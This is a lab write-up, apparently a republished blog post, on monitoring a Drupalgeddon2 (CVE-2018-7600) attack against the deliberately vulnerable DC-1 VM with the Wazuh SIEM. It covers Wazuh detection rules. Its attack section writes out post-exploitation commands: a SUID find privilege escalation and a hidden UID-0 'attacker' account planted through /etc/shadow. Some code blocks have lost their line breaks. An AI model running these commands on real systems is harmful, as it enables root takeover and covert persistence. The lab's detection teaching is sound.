SIEM Monitoring using Wazuh by Francis Jeremiah

Objective: Carry out an API Attack on an API of your choice then implement a SIEM of your choice to show the logs of all events.

Background

This lab was created to simulate an API Attack and capture the reflecting impacts on the server or machine that it is being targeted on. The components are Wazuh, Kali Linux and DC-1(Victim).

In this lab the vulnerability that is going to be exploited is CVE-2018–7600, https://nvd.nist.gov/vuln/detail/CVE-2018-7600. This vulnerability can enable remote code execution and results from insufficient input validation on the Drupal 7 Form API. More information about the API and it’s weakness can be found here: https://unit42.paloaltonetworks.com/unit42-exploit-wild-drupalgeddon2-analysis-cve-2018-7600/

Implementation

This exercise is going to be created using VMs created in VirtualBox. The components include

  1. SIEM — Wazuh: SIEMs( Security Information and Events Management systems) are tools used to aggregate and analyze security-related events and incidents. SIEMs generally do the following below:
  • Data collection — logs.
  • Setting policies — In the case of this lab, Security Configuration Assessment(SCA)
  • Data correlation.
  • Setting Notifications — Events, Incidents and Attacks

2. Victim — DC-1: This is a purposely built vulnerable linux machine for the purpose of gaining experience in the world of penetration testing. It runs Drupal CMS on a web server.

3. Attacker — Kali: Widely known offensive distro with an armory of hacking tools.

Network Layout:

A VirtualBox Host-Only Ethernet Adapter was used to network the components.

IP Address

Wazuh — 192.168.0.66/24

DC-1 — 192.168.0.13/24

Kali — 192.168.0.31/24

Attacker

Simply fire up a virtual appliance of Kali. It’s easy to set up.

https://images.kali.org/virtual-images/kali-linux-2021.2-virtualbox-amd64.ova

SIEM

The SIEM implemented is Wazuh, it is an open source tool used to collect, aggregate, index and analyze security data, helping organizations detect intrusions, threats and behavioral anomalies. A simple to use and install version pre installed with [ CentOS 7, Wazuh manager: 4.1.5, Open Distro for Elasticsearch: 7.10.2, Filebeat-OSS: 7.10.2, Kibana: 7.10.2, Wazuh Kibana plugin: 4.1.5–7.10.2 ] can be used instead of having to go through the rigorous task of setting up Wazuh from scratch.

Installation:

Download the OVA file from https://documentation.wazuh.com/current/virtual-machine/virtual-machine.html

After the virtual appliance has been imported, login in with root and wazuh.

0*l9gouBbkgaSGz i1

Take note of the IP address of the wazuh server, this would be used in configuration of wazuh agents.

0*kbMYKOQE6N eUQX1

From a browser, try to access the wazuh machine ip address,

0*t4 blE03PlhLXXXI

Wazuh Dashboard

0*WqhfsEEenzJPN9NI

Victim

DC-1 VirtualBox OVA can be downloaded from https://www.vulnhub.com/entry/dc-1-1,292/#download.

Click on the OVA file and install. After proper installation you will arrive at a login page. No need to go further, it’s all set.

0*tIV05d8v2neLquWw

Installing the Wazuh agent

Using ssh(The box doesn’t provide login credentials, so it was pre hacked with this vuln to create a user) to login to the victim machine because of the upgraded shell it provides to download wazuh-agent.

wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.1.5-1_i386.deb

0*CBoGINZ6gdM5tKOm

WAZUH_MANAGER=”192.168.0.66" dpkg -i wazuh-agent_4.1.5–1_i386.deb

0*fFvIXtiV0XvM5edO

Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA and command features), we need to enable the following settings in the agent:

echo -e “sca.remote_commands=1nwazuh_command.remote_commands=1” >> /var/ossec/etc/local_internal_options.conf

0*igkb5dJvB3qof49

To apply changes, restart agent

service wazuh-agent restart

0*5JvBSbWHbqgr4sPe

Reloading the Wazuh Dashboard and we can see that the agent has been added

0*QRVFhhyBNWXXsbk

Note that the agent and manager have to be the same version if not the agent would appear under “Never Connect Agents”.

Methodology

Vulnerability detection in Wazuh is done by:

  • Agents collect information about the local applications and send it to the manager periodically; a sqlite db per agent is stored on the manager with this information. The manager uses a global vulnerability database which is created from publicly available CVE repositories, which is used to check the information with the agent’s applications inventory data.
  • Security Configuration Assessment module: This is a set of predefined policies that Wazuh used to run configuration checks against infrastructure with the agents installed on. This is used for security harding and is written in yaml. If the policies aren’t met an alert will be sent to the manager.

We know that the DC-1 runs Drupal, so let’s write a SCA configuration to detect dangerous binaries with SUID bit set

nano /var/ossec/etc/shared/default/sca_systemfiles.yaml# Security Configuration Assessment# System filespolicy:id: "system-files"file: "system-files.yml"name: "Security checks for system files"description: "Analyse system files to find vulnerabilities"checks:- id: 100002title: "Dangerous binaries with SUID bit set found"description: "Binaries with SUID bit set can result in a root shell."condition: nonerules:- 'c:find /usr/bin -perm -u=s -type f -printf "%y:%pn" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpasswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|newuidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.iputils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolInfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xorg.wrap|chage|crontab|^"$'

Now to enable the SCA policies in the agent configuration

nano /var/ossec/etc/shared/default/agent.conf<agent_config>
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>15m</interval>
    <skip_nfs>yes</skip_nfs>    
    <policies> 
      <policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy>  
    </policies>
  </sca>
</agent_config>

We can configure wazuh to check for malicious commands like [eval(base64_decode], so we will list processes to check for this.

To create a command, we use the command wodle in Wazuh. This has to be added to the /var/ossec/etc/shared/default/agent.conf file.

<wodle name=”command”>
  <disabled>no</disabled>
  <tag>ps-list</tag>
  <command>ps -eo user,pid,cmd</command>
  <interval>10s</interval>
  <ignore_output>no</ignore_output>
  <run_on_start>yes</run_on_start>
  <timeout>5</timeout>
</wodle>

Now create the rule to detect processes evaluating base64 code

nano /var/ossec/etc/rules/local_rules.xml<group name=”wazuh,”>
  <rule id=”100001" level=”0">
    <location>command_ps-list</location>
    <description>List of running process.</description> 
    <group>process_monitor,</group>
  </rule>
    <rule id=”100002" level=”10">
    <if_sid>100001</if_sid>
    <match>eval(base64_decode</match>
    <description>Reverse shell detected.</description>
    <group>process_monitor,attacks</group>
  </rule>
</group>

Overview of Victim machine.

0*nmpwjNDCW8ifHXyw

Looking at the SCA dashboard,

We can see that it failed because it detected SUID,

0*NDxCQv of9OeUq3f

The Attack

Security Events Before the attack

0*p aVh4mIY2MSbC3E

Firing up metasploit on the Kali machine and using the exploit/unix/webapp/drupal_drupalgeddon2 exploit to get RCE.

0*DGQErFjVXlZqysLQ

Further, let’s create a user on the compromised machine.

python -c ‘import pty; pty.spawn(“/bin/bash”)’/var/wwwfind /usr/bin -perm -u=s -type ffind . -exec /bin/sh ; -quit/usr/sbin/useradd -ou 0 -g 0 attackersed -i ‘s/attacker:!:/attacker:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g’ /etc/shadow

After the attack, let’s look at the reflection on the SIEM.

0*DYDci6QIF6cnynf6

We can see the start of the attack indicated in “Web server 400 error code”, then the reverse shell and user creation was also spotted.

Summary

Wazuh is a cool open source SIEM but it is important to note that rules to catch machine specific events have to be manually created. This can be initially tedious but the results are worth it. Alienvault OSSIM was the initial SIEM of choice but upon installation it was noticed that it has lots of limitations.

Originally posted at: https://cyberspades.medium.com/siem-monitoring-using-wazuh-17cce55b2752


About the Author

Francis Jeremiah

Francis Jeremiah is a Security Researcher who spends time exploring OSINT Techniques, deploying Infrastructure and researching Offensive Capabilities.

https://www.linkedin.com/in/francis-jeremiah-144461183/

The post SIEM Monitoring using Wazuh by Francis Jeremiah appeared first on Hakin9 – IT Security Magazine.

click here to read full Article

Read More on Pentesting Tools

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *

%d bloggers like this: